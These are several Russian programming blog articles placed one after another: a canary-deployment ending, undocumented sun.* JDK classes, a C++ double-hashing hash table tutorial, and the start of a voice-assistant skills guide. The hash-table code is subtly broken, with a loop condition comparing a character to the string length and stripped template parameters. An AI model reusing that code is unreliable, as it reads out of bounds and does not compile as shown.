CANARY_HEADER_VALUE: "canary"
```
Развернем приложение и проверим, что получилось:
```
$ curl canary-example.flant.com
Hi! I'm another one typical nginx!
```
Всё работает.
Теперь передадим в запросе нужный header:
```
$ curl -H "x-version: canary" canary-example.flant.com
Wow! I'm canary nginx!
```
Тоже всё работает.
Как развернуть «канареечные» релизы внутри кластера
---------------------------------------------------
В статье мы рассмотрели лишь один из вариантов canary-релиза. Главный недостаток такого подхода — необходимость использовать Ingress. Это отлично работает для frontend-приложений. В то время как у backend зачастую только Service, и обращаются к нему уже внутри кластера Kubernetes.
Для таких приложений задачу canary-развертывания отлично решает Service Mesh наподобие Istio — мы используем его, например, в нашей Kubernetes-платформе [Deckhouse](https://deckhouse.io/ru/) (*познакомиться с функциями, которые решает Istio в рамках Deckhouse, можно* [*в документации*](https://deckhouse.io/ru/documentation/v1/modules/110-istio/)). Другие примеры реализации можно найти [в официальной документации Istio](https://istio.io/v1.14/blog/2017/0.1-canary/) и [в нашем переводе](https://habr.com/ru/company/flant/blog/440378/).
P.S.
----
Читайте также в нашем блоге:
* [«Стратегии деплоя в Kubernetes: rolling, recreate, blue/green, canary, dark (A/B-тестирование)»](https://habr.com/ru/company/flant/blog/471620/);
* [«Лучшие практики для деплоя высокодоступных приложений в Kubernetes. Часть 1»](https://habr.com/ru/company/flant/blog/545204/);
* [«Что ждать от внедрения Istio? (обзор и видео доклада)»](https://habr.com/ru/company/flant/blog/569612/). | https://habr.com/ru/post/697030/ | null | ru | null |
# Секреты JDK
Про Unsafe в Java не слышал только ленивый, однако это не единственный магический класс в Sun/Oracle JDK, стирающий границы Java платформы и открывающий тропинки, не нанесенные на карту публичного API. Я расскажу про некоторые из них, принесшие пользу в реальных проектах. Но помните: недокументированные возможности лишают ваше приложение переносимости на другие Java платформы и, кроме того, являются потенциальным источником нетривиальных ошибок. Я даже зря написал слово «приложение». Лучше сказать, что описанные ниже классы вовсе не годятся для приложений! Скорее, они представляют интерес лишь для системного ПО и для любознательных программистов, т.е. для вас :)
### Cleaner
Каждый хороший Java-программист знает, что [финализаторы — зло](http://www.informit.com/articles/article.aspx?p=1216151&seqNum=7). Но чем их в таком случае заменить, если нет гарантии, что все, использующие нашу библиотеку, как порядочные программисты, будут вызывать close()? В конце концов, что используется внутри самого JDK?
В системных классах в качестве более надежной и легковесной замены финализаторам применяется sun.misc.Cleaner, основанный на PhantomReference. Как только сборщик мусора обнаружит, что объект, на который ссылается Cleaner, стал [phantom-reachable](http://download.oracle.com/javase/6/docs/api/java/lang/ref/package-summary.html#reachability), будет запущен указанный Runnable, как правило, для освобождения ресурсов:
```
public NeedsCleanup() {
this.resource = unsafe.allocateMemory(16*1024*1024);
Cleaner.create(this, new Destructor(resource));
}
private static class Destructor implements Runnable {
final long resource;
Destructor(long resource) {
this.resource = resource;
}
public void run() {
unsafe.freeMemory(resource);
}
}
```
Несмотря на свои полезные стороны, этому классу не суждено стать частью публичного API, поскольку при неумелом использовании он может заблокировать поток Reference Handler, а то и вовсе остановить приложение.
### Unmapping MappedByteBuffer
А вот как раз и пример Cleaner'а в системных классах JDK.
Кто пользовался в Java memory-mapped файлами посредством FileChannel.map(), вероятно, не раз посожалел, что у MappedByteBuffer'а нет метода unmap(). На то есть [свои причины](http://bugs.sun.com/view_bug.do?bug_id=4724038).
Но, как в поговорке, если нельзя, но очень хочется — то можно. Реализация MappedByteBuffer создает Cleaner для выполнения unmap после сборки мусора, когда буфер становится недостижим. Так вот, этот Cleaner можно вызывать и вручную:
```
public static void unmap(MappedByteBuffer bb) {
if (bb instanceof sun.nio.ch.DirectBuffer) {
((sun.nio.ch.DirectBuffer) bb).cleaner().clean();
}
}
```
### SharedSecrets
Интригующее название, не правда ли? sun.misc.SharedSecrets — утилитный класс, предоставляющий интерфейсы доступа к некторым приватным данным системных классов. Хотя интересного там не так много. Можно, скажем, добраться до constant pool любого загруженного класса… только не спрашивайте, зачем :)
Из того, что довелось использовать мне — получение нативного (OS-level) дескриптора файла из Java-объекта FileDescriptor. Делается это так:
```
public static int getNativeFD(FileDescriptor fd) {
return SharedSecrets.getJavaIOFileDescriptorAccess().get(fd);
}
```
Или вот еще, для примера, как узнать кодировку консоли, из которой запущено Java-приложение:
```
if (System.console() != null) {
System.out.println(SharedSecrets.getJavaIOAccess().charset());
}
```
### SignalHandler
А знаете ли вы, что в Java программе можно ловить и обрабатывать POSIX сигналы, например, SIGINT?
Да-да, с помощью классов sun.misc.Signal и sun.misc.SignalHandler.
Впрочем, на этом я останавливаться не буду, поскольку статья на эту тему [уже была](http://habrahabr.ru/blogs/java/78035/).
### MagicAccessor
А самым магическим классом, как уже видно из названия, сегодня будет sun.reflect.MagicAccessorImpl. Будучи унаследованным от него, ваш класс чудесным образом получит возможность обращаться ко всем приватным полям и методам любых классов! Фокус в том, что верификатор байткода попросту опускает проверки доступа для классов-наследников MagicAccessorImpl.
Мне он очень пригодился для реализации собственного быстрого механизма сериализации. Ведь сериализатор должен уметь читать и писать любые, в том числе и приватные, поля классов. Традиционно это достигается посредством Reflection, что довольно медленно, либо с помощью Unsafe. Но нет способа быстрее, чем обращаться к полям напрямую через байткоды getfield/putfield, которые компилируются буквально в одну машинную инструкцию.
```
// ----- A.java -----
class A {
private int privateField = 5;
}
// ----- B.java -----
class B extends sun.reflect.MagicAccessorBridge {
public static void main(String[] args) {
A a = new A();
a.privateField = 10;
System.out.println(a.privateField);
}
}
// ----- MagicAccessorBridge.java -----
package sun.reflect;
public class MagicAccessorBridge extends MagicAccessorImpl {
// Since MagicAccessorImpl is package-private, we'll make a public bridge
}
```
Одна лишь проблема: про магический аксессор знает лишь JVM, но не javac, который настойчиво продолжит ругаться на несанкционированный доступ. Чтобы проверить пример, вам придется сначала поменять в классе A модификатор поля на public, все скомпилировать, затем вернуть обратно модификатор private и перекомпилировать класс A отдельно. Разумеется, неудобно, поэтому на практике наследоваться от MagicAccessorImpl имеет смысл только при динамической генерации класса. Кстати говоря, в сокровищнице JDK найдутся инструменты и на этот случай: sun.tools.asm.Assembler и целиком пакет sun.tools.asm.
### Warning: Sun proprietary API
Как только вы попробуете разбавить свою программу одним из вышеописанных классов или же любым другим из пакета sun.\*, непременно получите от компилятора предупреждение
> warning: sun.misc.Unsafe is Sun proprietary API and may be removed in a future release
>
>
которое никакими аннотациями подавить не удастся, и поделом!
Можно радоваться или огорчаться, но в JDK 7, наконец, появилась возможность скрыть назойливый warning. Однако, опять же, только с помощью секретного ключика :)
Дописываете к методу или классу аннотацию
`@SuppressWarnings("sunapi")`
и запускаете javac с параметром
`javac -XDenableSunApiLintControl TestUnsafe.java`
Вот и все, путь к экспериментам свободен! | https://habr.com/ru/post/132703/ | null | ru | null |
# Хеш-таблицы
### Предисловие
Я много раз заглядывал на просторы интернета, нашел много интересных статей о хеш-таблицах, но вразумительного и полного описания того, как они реализованы, так и не нашел. В связи с этим мне просто нетерпелось написать пост на данную, столь интересную, тему.
Возможно, она не столь полезна для опытных программистов, но будет интересна для студентов технических ВУЗов и начинающих программистов-самоучек.
### Мотивация использовать хеш-таблицы
Для наглядности рассмотрим стандартные контейнеры и асимптотику их наиболее часто используемых методов.
| Контейнер \ операция | insert | remove | find |
| --- | --- | --- | --- |
| Array | O(N) | O(N) | O(N) |
| List | O(1) | O(1) | O(N) |
| Sorted array | O(N) | O(N) | O(logN) |
| Бинарное дерево поиска | O(logN) | O(logN) | O(logN) |
| **Хеш-таблица** | O(1) | O(1) | O(1) |
*Все данные при условии хорошо выполненных контейнерах, хорошо подобранных хеш-функциях*
Из этой таблицы очень хорошо понятно, почему же стоит использовать хеш-таблицы. Но тогда возникает противоположный вопрос: *почему же тогда ими не пользуются постоянно?*
Ответ очень прост: как и всегда, невозможно получить все сразу, а именно: и скорость, и память. Хеш-таблицы тяжеловесные, и, хоть они и быстро отвечают на вопросы основных операций, пользоваться ими все время очень затратно.
### Понятие хеш-таблицы
Хеш-таблица — это контейнер, который используют, если хотят быстро выполнять операции вставки/удаления/нахождения. В языке C++ хеш-таблицы скрываются под флагом unoredered\_set и unordered\_map. В Python вы можете использовать стандартную коллекцию set — это тоже хеш-таблица.
Реализация у нее, возможно, и не очевидная, но довольно простая, а главное — как же круто использовать хеш-таблицы, а для этого лучше научиться, как они устроены.
Для начала объяснение в нескольких словах. Мы определяем функцию хеширования, которая по каждому входящему элементу будет определять натуральное число. А уже дальше по этому натуральному числу мы будем класть элемент в (допустим) массив. Тогда имея такую функцию мы можем за O(1) обработать элемент.
Теперь стало понятно, почему же это именно **хеш**-таблица.
### Проблема коллизии
Естественно, возникает вопрос, почему невозможно такое, что мы попадем дважды в одну ячейку массива, ведь представить функцию, которая ставит в сравнение каждому элементу совершенно различные натуральные числа просто невозможно. Именно так возникает проблема коллизии, или проблемы, когда хеш-функция выдает одинаковое натуральное число для разных элементов.
Существует несколько решений данной проблемы: метод цепочек и метод двойного хеширования. В данной статье я постараюсь рассказать о втором методе, как о более красивом и, возможно, более сложном.
### Решения проблемы коллизии методом двойного хеширования
Мы будем (как несложно догадаться из названия) использовать две хеш-функции, возвращающие взаимопростые натуральные числа.
Одна хеш-функция (при входе g) будет возвращать натуральное число s, которое будет для нас начальным. То есть первое, что мы сделаем, попробуем поставить элемент g на позицию s в нашем массиве. Но что, если это место уже занято? Именно здесь нам пригодится вторая хеш-функция, которая будет возвращать t — шаг, с которым мы будем в дальнейшем искать место, куда бы поставить элемент g.
Мы будем рассматривать сначала элемент s, потом s + t, затем s + 2\*t и т.д. Естественно, чтобы не выйти за границы массива, мы обязаны смотреть на номер элемента по модулю (остатку от деления на размер массива).
Наконец мы объяснили все самые важные моменты, можно перейти к непосредственному написанию кода, где уже можно будет рассмотреть все оставшиеся нюансы. Ну а строгое математическое доказательство корректности использования двойного хеширования можно найти [тут](https://neerc.ifmo.ru/wiki/index.php?title=%D0%98%D0%B4%D0%B5%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%85%D0%B5%D1%88%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5).
---
Реализация хеш-таблицы
======================
*Для наглядности будем реализовывать хеш-таблицу, хранящую строки.*
Начнем с определения самих хеш-функций, реализуем их методом Горнера. Важным параметром корректности хеш-функции является то, что возвращаемое значение должно быть взаимопросто с размером таблицы. Для уменьшения дублирования кода, будем использовать две структуры, ссылающиеся на реализацию самой хеш-функции.
```
int HashFunctionHorner(const std::string& s, int table_size, const int key)
{
int hash_result = 0;
for (int i = 0; s[i] != s.size(); ++i)
hash_result = (key * hash_result + s[i]) % table_size;
hash_result = (hash_result * 2 + 1) % table_size;
return hash_result;
}
struct HashFunction1
{
int operator()(const std::string& s, int table_size) const
{
return HashFunctionHorner(s, table_size, table_size - 1); // ключи должны быть взаимопросты, используем числа <размер таблицы> плюс и минус один.
}
};
struct HashFunction2
{
int operator()(const std::string& s, int table_size) const
{
return HashFunctionHorner(s, table_size, table_size + 1);
}
};
```
Чтобы идти дальше, нам необходимо разобраться с проблемой: что же будет, если мы удалим элемент из таблицы? Так вот, его нужно пометить флагом deleted, но просто удалять его безвозвратно нельзя. Ведь если мы так сделаем, то при попытке найти элемент (значение хеш-функции которого совпадет с ее значением у нашего удаленного элемента) мы сразу наткнемся на пустую ячейку. А это значит, что такого элемента и не было никогда, хотя, он лежит, просто где-то дальше в массиве. Это основная сложность использования данного метода решения коллизий.
Помня о данной проблеме построим наш класс.
```
template
class HashTable
{
static const int default\_size = 8; // начальный размер нашей таблицы
constexpr static const double rehash\_size = 0.75; // коэффициент, при котором произойдет увеличение таблицы
struct Node
{
T value;
bool state; // если значение флага state = false, значит элемент массива был удален (deleted)
Node(const T& value\_) : value(value\_), state(true) {}
};
Node\*\* arr; // соответственно в массиве будут хранится структуры Node\*
int size; // сколько элементов у нас сейчас в массиве (без учета deleted)
int buffer\_size; // размер самого массива, сколько памяти выделено под хранение нашей таблицы
int size\_all\_non\_nullptr; // сколько элементов у нас сейчас в массиве (с учетом deleted)
};
```
На данном этапе мы уже более-менее поняли, что у нас будет храниться в таблице. Переходим к реализации служебных методов.
```
...
public:
HashTable()
{
buffer_size = default_size;
size = 0;
size_all_non_nullptr = 0;
arr = new Node*[buffer_size];
for (int i = 0; i < buffer_size; ++i)
arr[i] = nullptr; // заполняем nullptr - то есть если значение отсутствует, и никто раньше по этому адресу не обращался
}
~HashTable()
{
for (int i = 0; i < buffer_size; ++i)
if (arr[i])
delete arr[i];
delete[] arr;
}
```
Из необходимых методов осталось еще реализовать динамическое увеличение, расширение массива — метод **Resize**.
Увеличиваем размер мы стандартно вдвое.
```
void Resize()
{
int past_buffer_size = buffer_size;
buffer_size *= 2;
size_all_non_nullptr = 0;
size = 0;
Node** arr2 = new Node * [buffer_size];
for (int i = 0; i < buffer_size; ++i)
arr2[i] = nullptr;
std::swap(arr, arr2);
for (int i = 0; i < past_buffer_size; ++i)
{
if (arr2[i] && arr2[i]->state)
Add(arr2[i]->value); // добавляем элементы в новый массив
}
// удаление предыдущего массива
for (int i = 0; i < past_buffer_size; ++i)
if (arr2[i])
delete arr2[i];
delete[] arr2;
}
```
Немаловажным является поддержание асимптотики O(1) стандартных операций. Но что же может повлиять на скорость работы? Наши удаленные элементы (deleted). Ведь, как мы помним, мы ничего не можем с ними сделать, но и окончательно обнулить их не можем. Так что они тянутся за нами огромным балластом. Для ускорения работы нашей хеш-таблицы воспользуемся рехешом (как мы помним, мы уже выделяли под это очень странные переменные).
Теперь воспользуемся ими, если процент реальных элементов массива стал меньше 50, мы производим **Rehash**, а именно делаем то же самое, что и при увеличении таблицы (resize), но не увеличиваем. Возможно, это звучит глуповато, но попробую сейчас объяснить. Мы вызовем наши хеш-функции от всех элементов, переместим их в новых массив. Но с deleted-элементами это не произойдет, мы не будем их перемещать, и они удалятся вместе со старой таблицей.
Но к чему слова, код все разъяснит:
```
void Rehash()
{
size_all_non_nullptr = 0;
size = 0;
Node** arr2 = new Node * [buffer_size];
for (int i = 0; i < buffer_size; ++i)
arr2[i] = nullptr;
std::swap(arr, arr2);
for (int i = 0; i < buffer_size; ++i)
{
if (arr2[i] && arr2[i]->state)
Add(arr2[i]->value);
}
// удаление предыдущего массива
for (int i = 0; i < buffer_size; ++i)
if (arr2[i])
delete arr2[i];
delete[] arr2;
}
```
Ну теперь мы уже точно на финальной, хоть и длинной, и полной колючих кустарников, прямой. Нам необходимо реализовать вставку (Add), удаление (Remove) и поиск (Find) элемента.
Начнем с самого простого — метод **Find** элемент по значению.
```
bool Find(const T& value, const THash1& hash1 = THash1(), const THash2& hash2 = THash2())
{
int h1 = hash1(value, buffer_size); // значение, отвечающее за начальную позицию
int h2 = hash2(value, buffer_size); // значение, ответственное за "шаг" по таблице
int i = 0;
while (arr[h1] != nullptr && i < buffer_size)
{
if (arr[h1]->value == value && arr[h1]->state)
return true; // такой элемент есть
h1 = (h1 + h2) % buffer_size;
++i; // если у нас i >= buffer_size, значит мы уже обошли абсолютно все ячейки, именно для этого мы считаем i, иначе мы могли бы зациклиться.
}
return false;
}
```
Далее мы реализуем удаление элемента — **Remove**. Как мы это делаем? Находим элемент (как в методе Find), а затем удаляем, то есть *просто меняем значение **state** на false*, но сам Node мы не удаляем.
```
bool Remove(const T& value, const THash1& hash1 = THash1(), const THash2& hash2 = THash2())
{
int h1 = hash1(value, buffer_size);
int h2 = hash2(value, buffer_size);
int i = 0;
while (arr[h1] != nullptr && i < buffer_size)
{
if (arr[h1]->value == value && arr[h1]->state)
{
arr[h1]->state = false;
--size;
return true;
}
h1 = (h1 + h2) % buffer_size;
++i;
}
return false;
}
```
Ну и последним мы реализуем метод **Add**. В нем есть несколько очень важных нюансов. Именно здесь мы будем проверять на необходимость рехеша.
Помимо этого в данном методе есть еще одна часть, поддерживающая правильную асимптотику. Это запоминание первого подходящего для вставки элемента (даже если он deleted). Именно туда мы вставим элемент, если в нашей хеш-таблицы нет такого же. Если ни одного deleted-элемента на нашем пути нет, мы создаем новый Node с нашим вставляемым значением.
```
bool Add(const T& value, const THash1& hash1 = THash1(),const THash2& hash2 = THash2())
{
if (size + 1 > int(rehash_size * buffer_size))
Resize();
else if (size_all_non_nullptr > 2 * size)
Rehash(); // происходит рехеш, так как слишком много deleted-элементов
int h1 = hash1(value, buffer_size);
int h2 = hash2(value, buffer_size);
int i = 0;
int first_deleted = -1; // запоминаем первый подходящий (удаленный) элемент
while (arr[h1] != nullptr && i < buffer_size)
{
if (arr[h1]->value == value && arr[h1]->state)
return false; // такой элемент уже есть, а значит его нельзя вставлять повторно
if (!arr[h1]->state && first_deleted == -1) // находим место для нового элемента
first_deleted = h1;
h1 = (h1 + h2) % buffer_size;
++i;
}
if (first_deleted == -1) // если не нашлось подходящего места, создаем новый Node
{
arr[h1] = new Node(value);
++size_all_non_nullptr; // так как мы заполнили один пробел, не забываем записать, что это место теперь занято
}
else
{
arr[first_deleted]->value = value;
arr[first_deleted]->state = true;
}
++size; // и в любом случае мы увеличили количество элементов
return true;
}
```
**В заключение приведу полную реализацию хеш-таблицы.**
```
int HashFunctionHorner(const std::string& s, int table_size, const int key)
{
int hash_result = 0;
for (int i = 0; s[i] != s.size(); ++i)
{
hash_result = (key * hash_result + s[i]) % table_size;
}
hash_result = (hash_result * 2 + 1) % table_size;
return hash_result;
}
struct HashFunction1
{
int operator()(const std::string& s, int table_size) const
{
return HashFunctionHorner(s, table_size, table_size - 1);
}
};
struct HashFunction2
{
int operator()(const std::string& s, int table_size) const
{
return HashFunctionHorner(s, table_size, table_size + 1);
}
};
template
class HashTable
{
static const int default\_size = 8;
constexpr static const double rehash\_size = 0.75;
struct Node
{
T value;
bool state;
Node(const T& value\_) : value(value\_), state(true) {}
};
Node\*\* arr;
int size;
int buffer\_size;
int size\_all\_non\_nullptr;
void Resize()
{
int past\_buffer\_size = buffer\_size;
buffer\_size \*= 2;
size\_all\_non\_nullptr = 0;
size = 0;
Node\*\* arr2 = new Node \* [buffer\_size];
for (int i = 0; i < buffer\_size; ++i)
arr2[i] = nullptr;
std::swap(arr, arr2);
for (int i = 0; i < past\_buffer\_size; ++i)
{
if (arr2[i] && arr2[i]->state)
Add(arr2[i]->value);
}
for (int i = 0; i < past\_buffer\_size; ++i)
if (arr2[i])
delete arr2[i];
delete[] arr2;
}
void Rehash()
{
size\_all\_non\_nullptr = 0;
size = 0;
Node\*\* arr2 = new Node \* [buffer\_size];
for (int i = 0; i < buffer\_size; ++i)
arr2[i] = nullptr;
std::swap(arr, arr2);
for (int i = 0; i < buffer\_size; ++i)
{
if (arr2[i] && arr2[i]->state)
Add(arr2[i]->value);
}
for (int i = 0; i < buffer\_size; ++i)
if (arr2[i])
delete arr2[i];
delete[] arr2;
}
public:
HashTable()
{
buffer\_size = default\_size;
size = 0;
size\_all\_non\_nullptr = 0;
arr = new Node\*[buffer\_size];
for (int i = 0; i < buffer\_size; ++i)
arr[i] = nullptr;
}
~HashTable()
{
for (int i = 0; i < buffer\_size; ++i)
if (arr[i])
delete arr[i];
delete[] arr;
}
bool Add(const T& value, const THash1& hash1 = THash1(),const THash2& hash2 = THash2())
{
if (size + 1 > int(rehash\_size \* buffer\_size))
Resize();
else if (size\_all\_non\_nullptr > 2 \* size)
Rehash();
int h1 = hash1(value, buffer\_size);
int h2 = hash2(value, buffer\_size);
int i = 0;
int first\_deleted = -1;
while (arr[h1] != nullptr && i < buffer\_size)
{
if (arr[h1]->value == value && arr[h1]->state)
return false;
if (!arr[h1]->state && first\_deleted == -1)
first\_deleted = h1;
h1 = (h1 + h2) % buffer\_size;
++i;
}
if (first\_deleted == -1)
{
arr[h1] = new Node(value);
++size\_all\_non\_nullptr;
}
else
{
arr[first\_deleted]->value = value;
arr[first\_deleted]->state = true;
}
++size;
return true;
}
bool Remove(const T& value, const THash1& hash1 = THash1(), const THash2& hash2 = THash2())
{
int h1 = hash1(value, buffer\_size);
int h2 = hash2(value, buffer\_size);
int i = 0;
while (arr[h1] != nullptr && i < buffer\_size)
{
if (arr[h1]->value == value && arr[h1]->state)
{
arr[h1]->state = false;
--size;
return true;
}
h1 = (h1 + h2) % buffer\_size;
++i;
}
return false;
}
bool Find(const T& value, const THash1& hash1 = THash1(), const THash2& hash2 = THash2())
{
int h1 = hash1(value, buffer\_size);
int h2 = hash2(value, buffer\_size);
int i = 0;
while (arr[h1] != nullptr && i < buffer\_size)
{
if (arr[h1]->value == value && arr[h1]->state)
return true;
h1 = (h1 + h2) % buffer\_size;
++i;
}
return false;
}
};
``` | https://habr.com/ru/post/509220/ | null | ru | null |
# Алиса, Google Assistant, Siri, Alexa. Как писать приложения для голосовых ассистентов
Рынок голосовых ассистентов расширяется, особенно для русскоязычных пользователей. 2 недели назад Яндекс рассказала впервые про платформу Яндекс.Диалоги, 2 месяца назад Google представила возможность писать диалоги для Google Assistant на русском языке, 2 года назад со сцены Bill Graham Civic Auditorium Apple выпустила в открытое плавание SiriKit. Фактически, появляется новая отрасль разработки, где должны быть свои проектировщики, архитекторы и разработчики. Идеальный момент, чтобы поговорить про голосовые помощники и api для них.
В этой статье не будет подробных туториалов. Это статья об идеях и интересных технических деталях, на которых построены инструменты для сторонних разработчиков основных игроков рынка: Apple Siri, Google Assistant и Алисы от Яндекса.
Теорию без практики изучать скучно. Представим, что перед нами стоит задача от только что придуманной пиццерии «ДоРеМи». Руководство компании хочет, чтобы покупатель имел возможность узнать меню пиццерии и заказать пиццу голосом. Заказ еды оставим на вторую итерацию, а сейчас займемся меню. Добавим команду «Что входит в состав <Название пиццы>?». Если пользователь вводит некорректную команду, то вывод будет состоять из списка пицц. Задача простая. Идеально подходит, чтобы изучить технологию и подготовиться к дальнейшему расширению.
Первый пункт — поднять бэкэнд
-----------------------------
ВНИМАНИЕ! Android разработчик поднимает сервер на node.js. Слабонервным лучше пропустить эту часть.
Сервер нам нужен для хранения информации о пиццах и для дальнейшего взаимодействия с апи ассистентов. Бэкэнд будет написан на node.js вместе с фреймворком express для настройки веб-приложения. Разворачивать будем на платформе [Now от компании Zeit](https://zeit.co/now). Платформа бесплатна и проста в использовании. Вводим команду «now» в терминале для старта скрипта деплоя и в ответ получаем ссылку на наше веб-приложение.
Для инициализации проекта используем Express Generator. Результатом генерации будет отличный каркас для веб приложений, но здесь много лишнего для простого апи: шаблоны для страниц, страницы ошибок, папки для ресурсов. Оставим только самое необходимое.
Базу данных использовать не будем. Данные у нас статические, достаточно будет одного объекта в js — список пицц с названиями и ингредиентами.
```
const pizzas = [
{
name: "Маргарита",
ingredients: ["Тесто", "Томатный соус", "Сыр Моцарелла", "Томаты", "Базилик"]
},
{
name: "Пепперони",
ingredients: ["Тесто", "Томатный соус", "Сыр Моцарелла", "Пепперони"]
},
{
name: "Вегетарианская",
ingredients: ["Тесто", "Томатный соус", "Сыр Моцарелла", "Грибы", "Маслины", "Зеленый перец", "Сыр Фета", "Томаты", "Орегано"]
},
{
name: "Четыре сыра",
ingredients: ["Тесто", "Томатный соус", "Сыр Моцарелла", "Сыр пармезан", "Сыр Чеддер", "Сыр Блючиз"]
},
{
name: "Гавайская",
ingredients: ["Тесто", "Томатный соус", "Сыр Моцарелла", "Куриное филе", "Ананасы"]
},
];
```
Добавим метод, который по объекту пиццы будет выводить ее состав. Если же пицца не найдена, то ответом будет меню пиццерии.
```
const pizzaInfo = {
getPizzaInfoByPizzaName: function (pizza) {
const wrapName = name => `"${name}"`
if (!pizza) {
const pizzaNames = pizzas.map(pizza => wrapName(pizza.name)).join(", ")
return `В ассортимент пиццерии "ДоРеМи" входят пиццы ${pizzaNames}. Могу рассказать состав каждой пиццы.`
}
const ingredients = pizza.ingredients.map(ingredient => ingredient.toLowerCase()).join(", ")
return `В пиццу ${wrapName(pizza.name)} входят ${ingredients}.`
},
};
```
Яндекс.Алиса. Начнем с простого
-------------------------------
Яндекс.Диалоги — базовая комплектация машины, на которой можно ездить. Но все равно не хватает кондиционера. Платформа от Яндекса идеальна для изучения азов: простая, как три копейки, но при этом содержит в себе концепции, на которых построено большинство ассистентов.
Основная единица платформы — диалоги. Диалоги — скиллы, созданные сторонними разработчиками. Добавить новый функционал в основной разговор с ассистентом не получится. Хотелось бы взять фразу «Алиса, закажи мне пиццу», но пиццерий много. Пользователю придется сказать активационную команду: «Алиса, вызови мне ДоРеМи». Тогда сервис понимает, что нужно переключиться на диалог от «ДоРеМи». Мы принимаем власть в свои руки и управляем процессом на своем сервере, через реквесты и респонсы, используя технологию вебхуков.
**Что такое вебхуки?**Вебхук, по своей сути, POST запрос, который отправляется на сервер. Сервер настроен на прием запроса, его обработку и отправление ответа на url, который указал клиент. Клиент при этом не тратит время на ожидание ответа.
**Работает примерно так.**Вы приходите в магазин, набираете тележку товаров. Очередь в магазине одна, очень длинная. В обычных супермаркетах вам пришлось бы ее отстоять и потерять огромное количество времени. В параллельной вселенной вы оставляете свою тележку в очереди, а сами занимаетесь другими делами. Персонал магазина вас находит и отдает пакеты. Первый подход — аналогия API, второй — вебхуков.
Настройки, которые нужно прописать для создания диалога в личном кабинете: название, тематика диалога, активационное имя и url на сервер.
Дальше только настройка сервера на обработку запросов. Принимаем json, отправляем json. А еще проще, если отбросить все шелуху с приемом json, его парсингом, с извлечением данных и обратными действиями в процессе отправки ответа, то мы принимаем текст пользователя и возвращаем текст Алисы. Добро пожаловать в 70-е, во времена текстовых интерфейсов.
У нас есть строка с командой пользователя. Чтобы возвращать состав пиццы по команде пользователя, нам нужно вычленить название пиццы и в ответ прислать фразу. Вычленять будем обычным string.contains(фраза). Чтобы идея сработала, модернизируем наш список пицц, добавив к ним список основ (морфема слова без окончания), которые могут встречаться в запросе.
```
const pizzas = [
{
name: "Маргарита",
base_name: ["маргарит"],
ingredients: ["Тесто", "Томатный соус", "Сыр Моцарелла", "Томаты", "Базилик"]
},
{
name: "Пепперони",
base_name: ["пепперони", "пеперони", "пепирони"],
ingredients: ["Тесто", "Томатный соус", "Сыр Моцарелла", "Пепперони"]
},
{
name: "Вегетарианская",
base_name: ["вегетариан"],
ingredients: ["Тесто", "Томатный соус", "Сыр Моцарелла", "Грибы", "Маслины", "Зеленый перец", "Сыр Фета", "Томаты", "Орегано"]
},
{
name: "Четыре сыра",
base_name: ["четыр", "сыр"],
ingredients: ["Тесто", "Томатный соус", "Сыр Моцарелла", "Сыр пармезан", "Сыр Чеддер", "Сыр Блючиз"]
},
{
name: "Гавайская",
base_name: ["гавай"],
ingredients: ["Тесто", "Томатный соус", "Сыр Моцарелла", "Куриное филе", "Ананасы"]
},
];
```
Немного изменим функцию, которая возвращает состав пиццы по команде пользователя.
```
getPizzaInfoByUserCommand: function (command) {
command = command.toLowerCase();
const pizza = pizzas.find(pizza => (
pizza.base_name.some(base => (command.indexOf(base) !== -1))
))
return this.getPizzaInfoByPizzaName(pizza)
},
```
Обрабатываем JSON, отправляем корректный ответ и добавляем кнопку, которая перенаправит пользователя на сайт пиццерии. Кнопки в Алисе — единственная возможность привнести разнообразие в обычный текстовый вывод. На кнопку можно назначить реплику пользователя либо открытие браузера по url. Используйте deep linking, чтобы связать ассистент и приложение в один удобный процесс. Например, при заказе пиццы можно настроить переход на экран оплаты в приложении, где уже сохранены платежные данные или есть возможность оплатить через Google/Apple Pay.
```
var express = require('express');
var pizzaInfo = require('../pizza/pizza_info.js');
var router = express.Router();
/* GET home page. */
router.use('/', function (req, res, next) {
const body = req.body;
const commandText = body.request.command;
const answer = pizzaInfo.getPizzaInfoByUserCommand(commandText);
res.json({
"response": {
"text": answer,
"buttons": [{
"title": "Заказать",
"url": "https://doremi.fake/"
}
],
"end_session": false
},
"session": {
"session_id": body.session.session_id,
"message_id": body.session.message_id,
"user_id": body.session.user_id
},
"version": body.version
})
});
```
С помощью параметра tts(text-to-speach) можно настроить фонотеку голосового ответа Алисы: ударение, произношение и пробелы. В tts лучше передавать транскрипцию вместо орфографически правильного написания. Например, «пажалуста». Так речь Алисы будет естественнее.
Тестировать диалог проще некуда. В личном кабинете можно поговорить через консоль со своим диалогом и почитать json’ы.
На данный момент диалог в стадии черновика. Следующим шагом будет публикация в каталоге Яндекса. Перед публикацией он проходит проверку на соответствие требованиям Яндекса: достоверность информации, грамотность, этичность и остальные формальные качества.
Google Assistant. Новый уровень
-------------------------------
Если Диалоги — это базовая комплектация автомобиля, то Actions on Google — комплектация с массажным креслом, автопилотом и персональным водителем, инструкция к которым прилагается на китайском языке. Инструмент от Google сильнее, богаче, но сложнее. И входной порог в технологию выше. У Яндекса гениально лаконичная и простая документация. Про Google сказать такое не могу. Actions on Google построен на тех же аксиомах, что и Диалоги: активационная команда, общение через апи, использование вебхуков, отделение стороннего диалога от основного.
Простота — главное преимущество и проблема Диалогов. Проблема в том, что всю архитектуру нужно строить самому. Простейший алгоритм вычленения частей из текста пользователя, реализованный выше, нельзя расширить на новые команды. Приходиться изобретать велосипеды. В такие моменты понимаешь, почему графический UI до сих рулит. Но Google реализовал продукты, которые освобождают разработчика от скучных скриптуемых процессов: классификация команд пользователя и работа с реквестами и респонсами. Первая задача решается фреймворком DialogFlow aka Api.Ai, вторая — объемной библиотекой под node.js. Нам остается подсоединить апи к Actions через node.js. На первый взгляд, что это лишнее усложнение, но сейчас я покажу, что этот подход выигрывает в проектах, где команд больше, чем одна.
DialogFlow решает типичную задачу машинного обучения — задачу классификации, в нашем случае классификация пользовательских команд по категориям. Для понимания и настройки работы фреймворка разберем два понятия из терминологии DialogFlow. Первое — Entities или сущности. Например, марки машин, города или названия пиццы. В настройках сущности мы указываем примеры сущности и ее синонимы. Алгоритм будет пытаться зацепиться за сущность на уровне основ слов. В случае успеха Google пришлет ее на сервер в качестве аргумента.
